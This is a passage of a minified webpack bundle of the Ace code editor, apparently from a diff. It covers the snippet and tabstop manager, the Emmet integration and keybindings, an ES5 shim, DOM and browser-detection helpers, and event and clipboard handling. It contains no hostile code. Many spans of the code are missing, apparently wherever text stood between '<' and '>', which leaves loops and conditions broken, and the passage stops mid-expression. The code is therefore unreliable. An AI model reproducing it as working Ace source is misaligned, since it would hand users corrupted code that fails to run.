l=r[e.name];l&&s.unregister(l),r[e.name]=e}i[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\w/.test(e.tabTrigger)&&(e.guard="\\b"),e.trigger=o.escapeRegExp(e.tabTrigger)),(e.trigger||e.guard||e.endTrigger||e.endGuard)&&(e.startRe=a(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,"",!0),e.endRe=a(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,"",!0))}e||(e=[]),e&&e.content?l(e):Array.isArray(e)&&e.forEach(l),this._signal("registerSnippets",{scope:t})},this.unregister=function(e,t){var i=this.snippetMap,n=this.snippetNameMap;function s(e){var s=n[e.scope||t];if(s&&s[e.name]){delete s[e.name];var o=i[e.scope||t],r=o&&o.indexOf(e);r>=0&&o.splice(r,1)}}e.content?s(e):Array.isArray(e)&&e.forEach(s)},this.parseSnippetFile=function(e){e=e.replace(/\r/g,"");var t,i=[],n={},s=/^#.*|^({[\s\S]*})\s*$|^(\S+) (.*)$|^((?:\n*\t.*)+)/gm;while(t=s.exec(e)){if(t[1])try{n=JSON.parse(t[1]),i.push(n)}catch(l){}if(t[4])n.content=t[4].replace(/^\t/gm,""),i.push(n),n={};else{var o=t[2],r=t[3];if("regex"==o){var a=/\/((?:[^\/\\]|\\.)*)|$/g;n.guard=a.exec(r)[1],n.trigger=a.exec(r)[1],n.endTrigger=a.exec(r)[1],n.endGuard=a.exec(r)[1]}else"snippet"==o?(n.tabTrigger=r.match(/^\S*/)[0],n.name||(n.name=r)):n[o]=r}}return i},this.getSnippetByName=function(e,t){var i,n=this.snippetNameMap;return this.getActiveScopes(t).some((function(t){var s=n[t];return s&&(i=s[e]),!!i}),this),i}}).call(u.prototype);var d=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=o.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on("change",this.$onChange),this.editor.on("changeSelection",this.$onChangeSelection),this.editor.on("changeSession",this.$onChangeSession),this.editor.commands.on("afterExec",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener("change",this.$onChange),this.editor.removeListener("changeSelection",this.$onChangeSelection),this.editor.removeListener("changeSession",this.$onChangeSession),this.editor.commands.removeListener("afterExec",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t="r"==e.action[0],i=e.start,n=e.end,s=i.row,o=n.row,r=o-s,a=n.column-i.column;if(t&&(r=-r,a=-a),!this.$inChange&&t){var l=this.selectedTabstop,c=l&&!l.some((function(e){return h(e.start,i)<=0&&h(e.end,n)>=0}));if(c)return this.detach()}for(var u=this.ranges,d=0;d0?(this.removeRange(g),d--):(g.start.row==s&&g.start.column>i.column&&(g.start.column+=a),g.end.row==s&&g.end.column>=i.column&&(g.end.column+=a),g.start.row>=s&&(g.start.row+=r),g.end.row>=s&&(g.end.row+=r),h(g.start,g.end)>0&&this.removeRange(g)))}u.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(e&&e.hasLinkedRanges){this.$inChange=!0;for(var i=this.editor.session,n=i.getTextRange(e.firstNonLinked),s=e.length;s--;){var o=e[s];if(o.linked){var r=t.snippetManager.tmStrFormat(n,o.original);i.replace(o,r)}}this.$inChange=!1}},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(this.editor){for(var e=this.editor.selection.lead,t=this.editor.selection.anchor,i=this.editor.selection.isEmpty(),n=this.ranges.length;n--;)if(!this.ranges[n].linked){var s=this.ranges[n].contains(e.row,e.column),o=i||this.ranges[n].contains(t.row,t.column);if(s&&o)return}this.detach()}},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,i=this.index+(e||1);i=Math.min(Math.max(i,1),t),i==t&&(i=0),this.selectTabstop(i),0===i&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];if(t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index],t&&t.length){if(this.selectedTabstop=t,this.editor.inVirtualSelectionMode)this.editor.selection.setRange(t.firstNonLinked);else{var i=this.editor.multiSelect;i.toSingleRange(t.firstNonLinked.clone());for(var n=t.length;n--;)t.hasLinkedRanges&&t[n].linked||i.addRange(t[n].clone(),!0);i.ranges[0]&&i.addRange(i.ranges[0].clone())}this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)}},this.addTabstops=function(e,t,i){if(this.$openTabstops||(this.$openTabstops=[]),!e[0]){var n=r.fromPoints(i,i);p(n.start,t),p(n.end,t),e[0]=[n],e[0].index=0}var s=this.index,o=[s+1,0],a=this.ranges;e.forEach((function(e,i){for(var n=this.$openTabstops[i]||e,s=e.length;s--;){var l=e[s],c=r.fromPoints(l.start,l.end||l.start);f(c.start,t),f(c.end,t),c.original=l,c.tabstop=n,a.push(c),n!=e?n.unshift(c):n[s]=c,l.fmtString?(c.linked=!0,n.hasLinkedRanges=!0):n.firstNonLinked||(n.firstNonLinked=c)}n.firstNonLinked||(n.hasLinkedRanges=!1),n===e&&(o.push(n),this.$openTabstops[i]=n),this.addTabstopMarkers(n)}),this),o.length>2&&(this.tabstops.length&&o.push(o.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,o))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){e.markerId||(e.markerId=t.addMarker(e,"ace_snippet-marker","text"))}))},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){t.removeMarker(e.markerId),e.markerId=null}))},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),-1!=t&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new l,this.keyboardHandler.bindKeys({Tab:function(e){t.snippetManager&&t.snippetManager.expandWithTab(e)||e.tabstopManager.tabNext(1)},"Shift-Tab":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(d.prototype);var g={};g.onChange=a.prototype.onChange,g.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},g.update=function(e,t,i){this.$insertRight=i,this.pos=e,this.onChange(t)};var f=function(e,t){0==e.row&&(e.column+=t.column),e.row+=t.row},p=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e("./lib/dom").importCssString(".ace_snippet-marker { -moz-box-sizing: border-box; box-sizing: border-box; background: rgba(194, 193, 208, 0.09); border: 1px dotted rgba(211, 208, 235, 0.62); position: absolute;}"),t.snippetManager=new u;var m=e("./editor").Editor;(function(){this.insertSnippet=function(e,i){return t.snippetManager.insertSnippet(this,e,i)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)})),ace.define("ace/ext/emmet",["require","exports","module","ace/keyboard/hash_handler","ace/editor","ace/snippets","ace/range","resources","resources","tabStops","resources","utils","actions","ace/config","ace/config"],(function(e,t,i){"use strict";var n,s,o=e("ace/keyboard/hash_handler").HashHandler,r=e("ace/editor").Editor,a=e("ace/snippets").snippetManager,l=e("ace/range").Range;function c(){}c.prototype={setupContext:function(e){this.ace=e,this.indentation=e.session.getTabString(),n||(n=window.emmet);var t=n.resources||n.require("resources");t.setVariable("indentation",this.indentation),this.$syntax=null,this.$syntax=this.getSyntax()},getSelectionRange:function(){var e=this.ace.getSelectionRange(),t=this.ace.session.doc;return{start:t.positionToIndex(e.start),end:t.positionToIndex(e.end)}},createSelection:function(e,t){var i=this.ace.session.doc;this.ace.selection.setRange({start:i.indexToPosition(e),end:i.indexToPosition(t)})},getCurrentLineRange:function(){var e=this.ace,t=e.getCursorPosition().row,i=e.session.getLine(t).length,n=e.session.doc.positionToIndex({row:t,column:0});return{start:n,end:n+i}},getCaretPos:function(){var e=this.ace.getCursorPosition();return this.ace.session.doc.positionToIndex(e)},setCaretPos:function(e){var t=this.ace.session.doc.indexToPosition(e);this.ace.selection.moveToPosition(t)},getCurrentLine:function(){var e=this.ace.getCursorPosition().row;return this.ace.session.getLine(e)},replaceContent:function(e,t,i,n){null==i&&(i=null==t?this.getContent().length:t),null==t&&(t=0);var s=this.ace,o=s.session.doc,r=l.fromPoints(o.indexToPosition(t),o.indexToPosition(i));s.session.remove(r),r.end=r.start,e=this.$updateTabstops(e),a.insertSnippet(s,e)},getContent:function(){return this.ace.getValue()},getSyntax:function(){if(this.$syntax)return this.$syntax;var e=this.ace.session.$modeId.split("/").pop();if("html"==e||"php"==e){var t=this.ace.getCursorPosition(),i=this.ace.session.getState(t.row);"string"!=typeof i&&(i=i[0]),i&&(i=i.split("-"),i.length>1?e=i[0]:"php"==e&&(e="html"))}return e},getProfileName:function(){var e=n.resources||n.require("resources");switch(this.getSyntax()){case"css":return"css";case"xml":case"xsl":return"xml";case"html":var t=e.getVariable("profile");return t||(t=-1!=this.ace.session.getLines(0,2).join("").search(/]+XHTML/i)?"xhtml":"html"),t;default:var i=this.ace.session.$mode;return i.emmetConfig&&i.emmetConfig.profile||"xhtml"}},prompt:function(e){return prompt(e)},getSelection:function(){return this.ace.session.getTextRange()},getFilePath:function(){return""},$updateTabstops:function(e){var t=1e3,i=0,s=null,o=n.tabStops||n.require("tabStops"),r=n.resources||n.require("resources"),a=r.getVocabulary("user"),l={tabstop:function(e){var n=parseInt(e.group,10),r=0===n;r?n=++i:n+=t;var a=e.placeholder;a&&(a=o.processText(a,l));var c="${"+n+(a?":"+a:"")+"}";return r&&(s=[e.start,c]),c},escape:function(e){return"$"==e?"\\$":"\\"==e?"\\\\":e}};if(e=o.processText(e,l),a.variables["insert_final_tabstop"]&&!/\$\{0\}$/.test(e))e+="${0}";else if(s){var c=n.utils?n.utils.common:n.require("utils");e=c.replaceSubstring(e,"${0}",s[0],s[1])}return e}};var h={expand_abbreviation:{mac:"ctrl+alt+e",win:"alt+e"},match_pair_outward:{mac:"ctrl+d",win:"ctrl+,"},match_pair_inward:{mac:"ctrl+j",win:"ctrl+shift+0"},matching_pair:{mac:"ctrl+alt+j",win:"alt+j"},next_edit_point:"alt+right",prev_edit_point:"alt+left",toggle_comment:{mac:"command+/",win:"ctrl+/"},split_join_tag:{mac:"shift+command+'",win:"shift+ctrl+`"},remove_tag:{mac:"command+'",win:"shift+ctrl+;"},evaluate_math_expression:{mac:"shift+command+y",win:"shift+ctrl+y"},increment_number_by_1:"ctrl+up",decrement_number_by_1:"ctrl+down",increment_number_by_01:"alt+up",decrement_number_by_01:"alt+down",increment_number_by_10:{mac:"alt+command+up",win:"shift+alt+up"},decrement_number_by_10:{mac:"alt+command+down",win:"shift+alt+down"},select_next_item:{mac:"shift+command+.",win:"shift+ctrl+."},select_previous_item:{mac:"shift+command+,",win:"shift+ctrl+,"},reflect_css_value:{mac:"shift+command+r",win:"shift+ctrl+r"},encode_decode_data_url:{mac:"shift+ctrl+d",win:"ctrl+'"},expand_abbreviation_with_tab:"Tab",wrap_with_abbreviation:{mac:"shift+ctrl+a",win:"shift+ctrl+a"}},u=new c;for(var d in t.commands=new o,t.runEmmetCommand=function e(t){try{u.setupContext(t);var i=n.actions||n.require("actions");if("expand_abbreviation_with_tab"==this.action){if(!t.selection.isEmpty())return!1;var s=t.selection.lead,o=t.session.getTokenAt(s.row,s.column);if(o&&/\btag\b/.test(o.type))return!1}if("wrap_with_abbreviation"==this.action)return setTimeout((function(){i.run("wrap_with_abbreviation",u)}),0);var r=i.run(this.action,u)}catch(a){if(!n)return f(e.bind(this,t)),!0;t._signal("changeStatus","string"==typeof a?a:a.message),console.log(a),r=!1}return r},h)t.commands.addCommand({name:"emmet:"+d,action:d,bindKey:h[d],exec:t.runEmmetCommand,multiSelectAction:"forEach"});t.updateCommands=function(e,i){i?e.keyBinding.addKeyboardHandler(t.commands):e.keyBinding.removeKeyboardHandler(t.commands)},t.isSupportedMode=function(e){if(!e)return!1;if(e.emmetConfig)return!0;var t=e.$id||e;return/css|less|scss|sass|stylus|html|php|twig|ejs|handlebars/.test(t)},t.isAvailable=function(e,i){if(/(evaluate_math_expression|expand_abbreviation)$/.test(i))return!0;var n=e.session.$mode,s=t.isSupportedMode(n);if(s&&n.$modes)try{u.setupContext(e),/js|php/.test(u.getSyntax())&&(s=!1)}catch(o){}return s};var g=function(e,i){var n=i;if(n){var s=t.isSupportedMode(n.session.$mode);!1===e.enableEmmet&&(s=!1),s&&f(),t.updateCommands(n,s)}},f=function(t){"string"==typeof s&&e("ace/config").loadModule(s,(function(){s=null,t&&t()}))};t.AceEmmetEditor=c,e("ace/config").defineOptions(r.prototype,"editor",{enableEmmet:{set:function(e){this[e?"on":"removeListener"]("changeMode",g),g({enableEmmet:!!e},this)},value:!0}}),t.setCore=function(e){"string"==typeof e?s=e:n=e}})),function(){ace.acequire(["ace/ext/emmet"],(function(){}))}()},f2b3:function(e,t,i){}}]); \ No newline at end of file +(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-bf3dd8b2"],{"061c":function(e,t,i){(function(){var e="ace",t=function(){return this}();if(t||"undefined"==typeof window||(t=window),e||"undefined"===typeof acequirejs){var i=function(e,t,n){"string"===typeof e?(2==arguments.length&&(n=t),i.modules[e]||(i.payloads[e]=n,i.modules[e]=null)):i.original?i.original.apply(this,arguments):(console.error("dropping module because define wasn't a string."),console.trace())};i.modules={},i.payloads={};var n=function(e,t,i){if("string"===typeof t){var n=r(e,t);if(void 0!=n)return i&&i(),n}else if("[object Array]"===Object.prototype.toString.call(t)){for(var o=[],a=0,l=t.length;a1&&a(l,"")>-1&&(i=RegExp(this.source,n.replace.call(r(this),"g","")),n.replace.call(e.slice(l.index),i,(function(){for(var e=1;el.index&&this.lastIndex--}return l},o||(RegExp.prototype.test=function(e){var t=n.exec.call(this,e);return t&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--,!!t}))})),ace.define("ace/lib/es5-shim",["require","exports","module"],(function(e,t,i){function n(){}Function.prototype.bind||(Function.prototype.bind=function(e){var t=this;if("function"!=typeof t)throw new TypeError("Function.prototype.bind called on incompatible "+t);var i=d.call(arguments,1),s=function(){if(this instanceof s){var n=t.apply(this,i.concat(d.call(arguments)));return Object(n)===n?n:this}return t.apply(e,i.concat(d.call(arguments)))};return t.prototype&&(n.prototype=t.prototype,s.prototype=new n,n.prototype=null),s});var s,o,r,a,l,c=Function.prototype.call,h=Array.prototype,u=Object.prototype,d=h.slice,g=c.bind(u.toString),f=c.bind(u.hasOwnProperty);if((l=f(u,"__defineGetter__"))&&(s=c.bind(u.__defineGetter__),o=c.bind(u.__defineSetter__),r=c.bind(u.__lookupGetter__),a=c.bind(u.__lookupSetter__)),2!=[1,2].splice(0).length)if(function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t,i=[];if(i.splice.apply(i,e(20)),i.splice.apply(i,e(26)),t=i.length,i.splice(5,0,"XXX"),i.length,t+1==i.length)return!0}()){var p=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?p.apply(this,[void 0===e?0:e,void 0===t?this.length-e:t].concat(d.call(arguments,2))):[]}}else Array.prototype.splice=function(e,t){var i=this.length;e>0?e>i&&(e=i):void 0==e?e=0:e<0&&(e=Math.max(i+e,0)),e+ta)for(u=c;u--;)this[l+u]=this[a+u];if(o&&e===h)this.length=h,this.push.apply(this,s);else for(this.length=h+o,u=0;u>>0;if("[object Function]"!=g(e))throw new TypeError;while(++s>>0,s=Array(n),o=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var r=0;r>>0,o=[],r=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var a=0;a>>0,s=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var o=0;o>>0,s=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var o=0;o>>0;if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");if(!n&&1==arguments.length)throw new TypeError("reduce of empty array with no initial value");var s,o=0;if(arguments.length>=2)s=arguments[1];else do{if(o in i){s=i[o++];break}if(++o>=n)throw new TypeError("reduce of empty array with no initial value")}while(1);for(;o>>0;if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");if(!n&&1==arguments.length)throw new TypeError("reduceRight of empty array with no initial value");var s,o=n-1;if(arguments.length>=2)s=arguments[1];else do{if(o in i){s=i[o--];break}if(--o<0)throw new TypeError("reduceRight of empty array with no initial value")}while(1);do{o in this&&(s=e.call(void 0,s,i[o],o,t))}while(o--);return s}),Array.prototype.indexOf&&-1==[0,1].indexOf(1,2)||(Array.prototype.indexOf=function(e){var t=v&&"[object String]"==g(this)?this.split(""):M(this),i=t.length>>>0;if(!i)return-1;var n=0;for(arguments.length>1&&(n=T(arguments[1])),n=n>=0?n:Math.max(0,i+n);n>>0;if(!i)return-1;var n=i-1;for(arguments.length>1&&(n=Math.min(n,T(arguments[1]))),n=n>=0?n:i-Math.abs(n);n>=0;n--)if(n in t&&e===t[n])return n;return-1}),Object.getPrototypeOf||(Object.getPrototypeOf=function(e){return e.__proto__||(e.constructor?e.constructor.prototype:u)}),!Object.getOwnPropertyDescriptor){var C="Object.getOwnPropertyDescriptor called on a non-object: ";Object.getOwnPropertyDescriptor=function(e,t){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError(C+e);if(f(e,t)){var i;if(i={enumerable:!0,configurable:!0},l){var n=e.__proto__;e.__proto__=u;var s=r(e,t),o=a(e,t);if(e.__proto__=n,s||o)return s&&(i.get=s),o&&(i.set=o),i}return i.value=e[t],i}}}(Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(e){return Object.keys(e)}),Object.create)||(m=null===Object.prototype.__proto__?function(){return{__proto__:null}}:function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(e,t){var i;if(null===e)i=m();else{if("object"!=typeof e)throw new TypeError("typeof prototype["+typeof e+"] != 'object'");var n=function(){};n.prototype=e,i=new n,i.__proto__=e}return void 0!==t&&Object.defineProperties(i,t),i});function w(e){try{return Object.defineProperty(e,"sentinel",{}),"sentinel"in e}catch(t){}}if(Object.defineProperty){var F=w({}),b="undefined"==typeof document||w(document.createElement("div"));if(!F||!b)var E=Object.defineProperty}if(!Object.defineProperty||E){var y="Property description must be an object: ",$="Object.defineProperty called on non-object: ",S="getters & setters can not be defined on this javascript engine";Object.defineProperty=function(e,t,i){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError($+e);if("object"!=typeof i&&"function"!=typeof i||null===i)throw new TypeError(y+i);if(E)try{return E.call(Object,e,t,i)}catch(c){}if(f(i,"value"))if(l&&(r(e,t)||a(e,t))){var n=e.__proto__;e.__proto__=u,delete e[t],e[t]=i.value,e.__proto__=n}else e[t]=i.value;else{if(!l)throw new TypeError(S);f(i,"get")&&s(e,t,i.get),f(i,"set")&&o(e,t,i.set)}return e}}Object.defineProperties||(Object.defineProperties=function(e,t){for(var i in t)f(t,i)&&Object.defineProperty(e,i,t[i]);return e}),Object.seal||(Object.seal=function(e){return e}),Object.freeze||(Object.freeze=function(e){return e});try{Object.freeze((function(){}))}catch(O){Object.freeze=function(e){return function(t){return"function"==typeof t?t:e(t)}}(Object.freeze)}if(Object.preventExtensions||(Object.preventExtensions=function(e){return e}),Object.isSealed||(Object.isSealed=function(e){return!1}),Object.isFrozen||(Object.isFrozen=function(e){return!1}),Object.isExtensible||(Object.isExtensible=function(e){if(Object(e)===e)throw new TypeError;var t="";while(f(e,t))t+="?";e[t]=!0;var i=f(e,t);return delete e[t],i}),!Object.keys){var x=!0,B=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],k=B.length;for(var D in{toString:null})x=!1;Object.keys=function(e){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError("Object.keys called on a non-object");var t=[];for(var i in e)f(e,i)&&t.push(i);if(x)for(var n=0,s=k;n0||-1)*Math.floor(Math.abs(e))),e}var M=function(e){if(null==e)throw new TypeError("can't convert "+e+" to object");return Object(e)}})),ace.define("ace/lib/fixoldbrowsers",["require","exports","module","ace/lib/regexp","ace/lib/es5-shim"],(function(e,t,i){"use strict";e("./regexp"),e("./es5-shim")})),ace.define("ace/lib/dom",["require","exports","module"],(function(e,t,i){"use strict";var n="http://www.w3.org/1999/xhtml";t.getDocumentHead=function(e){return e||(e=document),e.head||e.getElementsByTagName("head")[0]||e.documentElement},t.createElement=function(e,t){return document.createElementNS?document.createElementNS(t||n,e):document.createElement(e)},t.hasCssClass=function(e,t){var i=(e.className+"").split(/\s+/g);return-1!==i.indexOf(t)},t.addCssClass=function(e,i){t.hasCssClass(e,i)||(e.className+=" "+i)},t.removeCssClass=function(e,t){var i=e.className.split(/\s+/g);while(1){var n=i.indexOf(t);if(-1==n)break;i.splice(n,1)}e.className=i.join(" ")},t.toggleCssClass=function(e,t){var i=e.className.split(/\s+/g),n=!0;while(1){var s=i.indexOf(t);if(-1==s)break;n=!1,i.splice(s,1)}return n&&i.push(t),e.className=i.join(" "),n},t.setCssClass=function(e,i,n){n?t.addCssClass(e,i):t.removeCssClass(e,i)},t.hasCssString=function(e,t){var i,n=0;if(t=t||document,t.createStyleSheet&&(i=t.styleSheets)){while(n=0?parseFloat((s.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]):parseFloat((s.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]),t.isOldIE=t.isIE&&t.isIE<9,t.isGecko=t.isMozilla=(window.Controllers||window.controllers)&&"Gecko"===window.navigator.product,t.isOldGecko=t.isGecko&&parseInt((s.match(/rv:(\d+)/)||[])[1],10)<4,t.isOpera=window.opera&&"[object Opera]"==Object.prototype.toString.call(window.opera),t.isWebKit=parseFloat(s.split("WebKit/")[1])||void 0,t.isChrome=parseFloat(s.split(" Chrome/")[1])||void 0,t.isAIR=s.indexOf("AdobeAIR")>=0,t.isIPad=s.indexOf("iPad")>=0,t.isChromeOS=s.indexOf(" CrOS ")>=0,t.isIOS=/iPad|iPhone|iPod/.test(s)&&!window.MSStream,t.isIOS&&(t.isMac=!0)}})),ace.define("ace/lib/event",["require","exports","module","ace/lib/keys","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("./keys"),s=e("./useragent"),o=null,r=0;t.addListener=function(e,t,i){if(e.addEventListener)return e.addEventListener(t,i,!1);if(e.attachEvent){var n=function(){i.call(e,window.event)};i._wrapper=n,e.attachEvent("on"+t,n)}},t.removeListener=function(e,t,i){if(e.removeEventListener)return e.removeEventListener(t,i,!1);e.detachEvent&&e.detachEvent("on"+t,i._wrapper||i)},t.stopEvent=function(e){return t.stopPropagation(e),t.preventDefault(e),!1},t.stopPropagation=function(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},t.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},t.getButton=function(e){return"dblclick"==e.type?0:"contextmenu"==e.type||s.isMac&&e.ctrlKey&&!e.altKey&&!e.shiftKey?2:e.preventDefault?e.button:{1:0,2:2,4:1}[e.button]},t.capture=function(e,i,n){function s(e){i&&i(e),n&&n(e),t.removeListener(document,"mousemove",i,!0),t.removeListener(document,"mouseup",s,!0),t.removeListener(document,"dragstart",s,!0)}return t.addListener(document,"mousemove",i,!0),t.addListener(document,"mouseup",s,!0),t.addListener(document,"dragstart",s,!0),s},t.addTouchMoveListener=function(e,i){var n,s;t.addListener(e,"touchstart",(function(e){var t=e.touches,i=t[0];n=i.clientX,s=i.clientY})),t.addListener(e,"touchmove",(function(e){var t=e.touches;if(!(t.length>1)){var o=t[0];e.wheelX=n-o.clientX,e.wheelY=s-o.clientY,n=o.clientX,s=o.clientY,i(e)}}))},t.addMouseWheelListener=function(e,i){"onmousewheel"in e?t.addListener(e,"mousewheel",(function(e){var t=8;void 0!==e.wheelDeltaX?(e.wheelX=-e.wheelDeltaX/t,e.wheelY=-e.wheelDeltaY/t):(e.wheelX=0,e.wheelY=-e.wheelDelta/t),i(e)})):"onwheel"in e?t.addListener(e,"wheel",(function(e){var t=.35;switch(e.deltaMode){case e.DOM_DELTA_PIXEL:e.wheelX=e.deltaX*t||0,e.wheelY=e.deltaY*t||0;break;case e.DOM_DELTA_LINE:case e.DOM_DELTA_PAGE:e.wheelX=5*(e.deltaX||0),e.wheelY=5*(e.deltaY||0);break}i(e)})):t.addListener(e,"DOMMouseScroll",(function(e){e.axis&&e.axis==e.HORIZONTAL_AXIS?(e.wheelX=5*(e.detail||0),e.wheelY=0):(e.wheelX=0,e.wheelY=5*(e.detail||0)),i(e)}))},t.addMultiMouseDownListener=function(e,i,n,o){var r,a,l,c=0,h={2:"dblclick",3:"tripleclick",4:"quadclick"};function u(e){if(0!==t.getButton(e)?c=0:e.detail>1?(c++,c>4&&(c=1)):c=1,s.isIE){var u=Math.abs(e.clientX-r)>5||Math.abs(e.clientY-a)>5;l&&!u||(c=1),l&&clearTimeout(l),l=setTimeout((function(){l=null}),i[c-1]||600),1==c&&(r=e.clientX,a=e.clientY)}if(e._clicks=c,n[o]("mousedown",e),c>4)c=0;else if(c>1)return n[o](h[c],e)}function d(e){c=2,l&&clearTimeout(l),l=setTimeout((function(){l=null}),i[c-1]||600),n[o]("mousedown",e),n[o](h[c],e)}Array.isArray(e)||(e=[e]),e.forEach((function(e){t.addListener(e,"mousedown",u),s.isOldIE&&t.addListener(e,"dblclick",d)}))};var a=s.isMac&&s.isOpera&&!("KeyboardEvent"in window)?function(e){return 0|(e.metaKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.ctrlKey?8:0)}:function(e){return 0|(e.ctrlKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.metaKey?8:0)};function l(e,t,i){var l=a(t);if(!s.isMac&&o){if(t.getModifierState&&(t.getModifierState("OS")||t.getModifierState("Win"))&&(l|=8),o.altGr){if(3==(3&l))return;o.altGr=0}if(18===i||17===i){var c="location"in t?t.location:t.keyLocation;if(17===i&&1===c)1==o[i]&&(r=t.timeStamp);else if(18===i&&3===l&&2===c){var h=t.timeStamp-r;h<50&&(o.altGr=!0)}}}if(i in n.MODIFIER_KEYS&&(i=-1),8&l&&i>=91&&i<=93&&(i=-1),!l&&13===i){c="location"in t?t.location:t.keyLocation;if(3===c&&(e(t,l,-i),t.defaultPrevented))return}if(s.isChromeOS&&8&l){if(e(t,l,i),t.defaultPrevented)return;l&=-9}return!!(l||i in n.FUNCTION_KEYS||i in n.PRINTABLE_KEYS)&&e(t,l,i)}function c(){o=Object.create(null)}if(t.getModifierString=function(e){return n.KEY_MODS[a(e)]},t.addCommandKeyListener=function(e,i){var n=t.addListener;if(s.isOldGecko||s.isOpera&&!("KeyboardEvent"in window)){var r=null;n(e,"keydown",(function(e){r=e.keyCode})),n(e,"keypress",(function(e){return l(i,e,r)}))}else{var a=null;n(e,"keydown",(function(e){o[e.keyCode]=(o[e.keyCode]||0)+1;var t=l(i,e,e.keyCode);return a=e.defaultPrevented,t})),n(e,"keypress",(function(e){a&&(e.ctrlKey||e.altKey||e.shiftKey||e.metaKey)&&(t.stopEvent(e),a=null)})),n(e,"keyup",(function(e){o[e.keyCode]=null})),o||(c(),n(window,"focus",c))}},"object"==typeof window&&window.postMessage&&!s.isOldIE){var h=1;t.nextTick=function(e,i){i=i||window;var n="zero-timeout-message-"+h;t.addListener(i,"message",(function s(o){o.data==n&&(t.stopPropagation(o),t.removeListener(i,"message",s),e())})),i.postMessage(n,"*")}}t.nextFrame="object"==typeof window&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame),t.nextFrame?t.nextFrame=t.nextFrame.bind(window):t.nextFrame=function(e){setTimeout(e,17)}})),ace.define("ace/lib/lang",["require","exports","module"],(function(e,t,i){"use strict";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split("").reverse().join("")},t.stringRepeat=function(e,t){var i="";while(t>0)1&t&&(i+=e),(t>>=1)&&(e+=e);return i};var n=/^\s\s*/,s=/\s\s*$/;t.stringTrimLeft=function(e){return e.replace(n,"")},t.stringTrimRight=function(e){return e.replace(s,"")},t.copyObject=function(e){var t={};for(var i in e)t[i]=e[i];return t},t.copyArray=function(e){for(var t=[],i=0,n=e.length;iu.length?e=e.substr(9):e.substr(0,4)==u.substr(0,4)?e=e.substr(4,e.length-u.length+1):e.charAt(e.length-1)==u.charAt(0)&&(e=e.slice(0,-1)),e==u.charAt(0)||e.charAt(e.length-1)==u.charAt(0)&&(e=e.slice(0,-1)),e&&t.onTextInput(e)),d&&(d=!1),S&&(S=!1))},B=function(e){if(!p){var t=i.value;x(t),b()}},k=function(e,t,i){var n=e.clipboardData||window.clipboardData;if(n&&!c){var s=h||i?"Text":"text/plain";try{return t?!1!==n.setData(s,t):n.getData(s)}catch(e){if(!i)return 